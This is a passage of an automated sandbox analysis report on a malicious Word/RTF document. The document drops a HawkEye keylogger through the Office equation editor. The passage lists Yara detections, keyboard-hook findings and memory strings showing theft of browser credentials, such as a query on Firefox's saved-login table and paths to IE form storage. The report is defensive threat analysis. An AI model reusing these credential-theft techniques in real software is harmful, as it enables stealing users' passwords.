GMT; domain=.whatismyipaddress.com; HttpOnly; SecureServer: cloudflareCF-RAY: 6dd47d612cb45b74-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: @nss3.dllSOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe%programfiles%\Sea MonkeySOFTWARE\Mozillamozilla%s\binPathToExe%programfiles%\Mozilla FirefoxSELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins.---signons.txtsignons2.txtsignons3.txtsignons.sqlitenetmsg.dllUnknown Error\Error %d: %seditkernel32.dll... open %2.2X %s (%s)Microsoft_WinInetMicrosoft_WinInet_u7@dllhost.exetaskhost.exetaskhostex.exebhvContainersContainerIdNameHistoryContainer_%I64dAccessCountCreationTimeExpiryTimeAccessedTimeModifiedTimeUrlEntryIDvisited:Microsoft\Windows\WebCache\WebCacheV01.datMicrosoft\Windows\WebCache\WebCacheV24.dat0123456789ABCDEFURL index.datSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: @nss3.dllSOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe%programfiles%\Sea MonkeySOFTWARE\Mozillamozilla%s\binPathToExe%programfiles%\Mozilla FirefoxSELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins.---signons.txtsignons2.txtsignons3.txtsignons.sqlitenetmsg.dllUnknown Error\Error %d: %seditkernel32.dll... open %2.2X %s (%s)Microsoft_WinInetMicrosoft_WinInet_u7@dllhost.exetaskhost.exetaskhostex.exebhvContainersContainerIdNameHistoryContainer_%I64dAccessCountCreationTimeExpiryTimeAccessedTimeModifiedTimeUrlEntryIDvisited:Microsoft\Windows\WebCache\WebCacheV01.datMicrosoft\Windows\WebCache\WebCacheV24.dat0123456789ABCDEFURL index.datSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
              Source: bhvC7B6.tmp.7.drString found in binary or memory: Cookie:user@www.linkedin.com/ equals www.linkedin.com (Linkedin)
              Source: vbc.exeString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
              Source: vbc.exe, 00000007.00000003.493422455.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.491975483.00000000004FE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493901820.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.492843847.000000000053E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.msn.com/?ocid=iehphttp://www.msn.com/http://www.msn.com/de-de/?ocid=iehphttp://www.msn.com/de-de/http://go.microsoft.com/fwlink/p/?LinkId=255141http://go.microsoft.com/fwlink/p/https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2C184%2C188%2C226&rtime=550&https=1&gdpr=1&gdprconsent=0&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/checksync.phphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2C184%2C188%2C226&rtime=3&https=1&gdpr=1&gdprconsent=2&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1https://contextual.media.net/medianet.phpabout:blankfile:///C:/jbxinitvm.au3file:///C:/Users/user/Desktop/02132022769992.dochttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
              Source: vbc.exe, 00000007.00000003.493422455.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.491975483.00000000004FE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493901820.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.492843847.000000000053E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.msn.com/?ocid=iehphttp://www.msn.com/http://www.msn.com/de-de/?ocid=iehphttp://www.msn.com/de-de/http://go.microsoft.com/fwlink/p/?LinkId=255141http://go.microsoft.com/fwlink/p/https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2C184%2C188%2C226&rtime=550&https=1&gdpr=1&gdprconsent=0&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/checksync.phphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2C184%2C188%2C226&rtime=3&https=1&gdpr=1&gdprconsent=2&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1https://contextual.media.net/medianet.phpabout:blankfile:///C:/jbxinitvm.au3file:///C:/Users/user/Desktop/02132022769992.dochttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
              Source: unknownHTTPS traffic detected: 123.30.139.93:443 -> 192.168.2.22:49166 version: TLS 1.2

              Key, Mouse, Clipboard, Microphone and Screen Capturing

              barindex
              Yara detected HawkEye Keylogger
              Source: Yara matchFile source: 5.0.name.exe.400000.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.18.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.10.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.22.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.13.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.19.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.15.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.23.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.409c0d.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.9.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.20.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.40cb1b0.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.45fa72.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5438e45.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.17.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.408208.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.12.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.14.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.25.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.24.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.548ecaa.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5437440.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.41cc3d0.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1464, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1124, type: MEMORYSTR
              Contains functionality to log keystrokes (.Net Source)
              Source: 5.0.name.exe.400000.22.unpack, Form1.cs.Net Code: HookKeyboard
              Source: 5.0.name.exe.400000.5.unpack, Form1.cs.Net Code: HookKeyboard
              Source: 5.2.name.exe.400000.0.unpack, Form1.cs.Net Code: HookKeyboard
              Source: 5.0.name.exe.400000.7.unpack, Form1.cs.Net Code: HookKeyboard
              Source: 5.0.name.exe.400000.17.unpack, Form1.cs.Net Code: HookKeyboard
              Source: 5.0.name.exe.400000.12.unpack, Form1.cs.Net Code: HookKeyboard
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_0040AC8A GetTempPathA,GetWindowsDirectoryA,GetTempFileNameA,OpenClipboard,GetLastError,DeleteFileA,6_2_0040AC8A

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 02132022769992.doc, type: SAMPLEMatched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
              Source: 5.0.name.exe.400000.7.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.400000.7.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.408208.18.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.408208.18.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.408208.10.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.408208.10.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.400000.22.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.400000.22.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.409c0d.13.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.409c0d.13.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.45fa72.19.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.45fa72.19.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.408208.15.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.408208.15.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.2.name.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.2.name.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.400000.5.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.400000.5.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.409c0d.23.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.409c0d.23.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.2.name.exe.409c0d.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.2.name.exe.409c0d.1.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.45fa72.9.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.45fa72.9.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.409c0d.20.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.409c0d.20.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 4.2.name.exe.40cb1b0.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 4.2.name.exe.40cb1b0.3.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.2.name.exe.45fa72.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.2.name.exe.45fa72.3.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 4.2.name.exe.5438e45.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 4.2.name.exe.5438e45.6.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.400000.17.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.400000.17.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.2.name.exe.408208.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.2.name.exe.408208.2.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.409c0d.8.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.409c0d.8.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.400000.12.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.400000.12.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.45fa72.14.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.45fa72.14.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.408208.25.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.408208.25.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 5.0.name.exe.45fa72.24.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 5.0.name.exe.45fa72.24.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 4.2.name.exe.548ecaa.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 4.2.name.exe.548ecaa.7.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 4.2.name.exe.5437440.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 4.2.name.exe.5437440.5.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 4.2.name.exe.41cc3d0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 4.2.name.exe.41cc3d0.4.raw.unpack, type: UNPACKEDPEMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 4.2.name.exe.251bd64.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
              Source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
              Source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
              Office equation editor drops PE file
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Roaming\name.exeJump to dropped file
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\PU4TLXlhTTxUD3B[1].exeJump to dropped file
              Source: ~WRF{FF780E00-89C7-4301-A104-C139521B8BBC}.tmp.0.drOLE indicator application name: unknown
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001910204_2_00191020
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001930504_2_00193050
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_0019C8684_2_0019C868
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001921304_2_00192130
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001984304_2_00198430
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001904714_2_00190471
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001985444_2_00198544
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001917814_2_00191781
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001910194_2_00191019
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001930074_2_00193007
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_0019B8904_2_0019B890
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001930FC4_2_001930FC
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001950F04_2_001950F0
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001951004_2_00195100
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001931494_2_00193149
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001931744_2_00193174
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00198A204_2_00198A20
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00194A584_2_00194A58
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00194A484_2_00194A48
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_0019A2714_2_0019A271
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_0019A2804_2_0019A280
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001952F84_2_001952F8
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001953084_2_00195308
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001933F44_2_001933F4
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001984104_2_00198410
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001934014_2_00193401
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001935194_2_00193519
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001955384_2_00195538
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001955484_2_00195548
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00194D484_2_00194D48
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00193ED14_2_00193ED1
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00193EE04_2_00193EE0
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_001957504_2_00195750
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00190F7D4_2_00190F7D
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00750D084_2_00750D08
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_007513E44_2_007513E4
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_007563904_2_00756390
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_007648A84_2_007648A8
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00764A404_2_00764A40
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_007691384_2_00769138
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00763C384_2_00763C38
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00768EE04_2_00768EE0
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E7C385_2_002E7C38
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002EBC105_2_002EBC10
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E94E85_2_002E94E8
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E9DD05_2_002E9DD0
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E25D05_2_002E25D0
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002EAE105_2_002EAE10
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E73685_2_002E7368
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E70205_2_002E7020
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E25AB5_2_002E25AB
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002EADFF5_2_002EADFF
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002EC24F5_2_002EC24F
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E46485_2_002E4648
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E07E05_2_002E07E0
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_00404DDB6_2_00404DDB
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_0040BD8A6_2_0040BD8A
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_00404E4C6_2_00404E4C
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_00404EBD6_2_00404EBD
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_00404F4E6_2_00404F4E
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_004044197_2_00404419
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_004045167_2_00404516
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_004135387_2_00413538
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_004145A17_2_004145A1
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_0040E6397_2_0040E639
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_004337AF7_2_004337AF
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_004399B17_2_004399B1
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_0043DAE77_2_0043DAE7
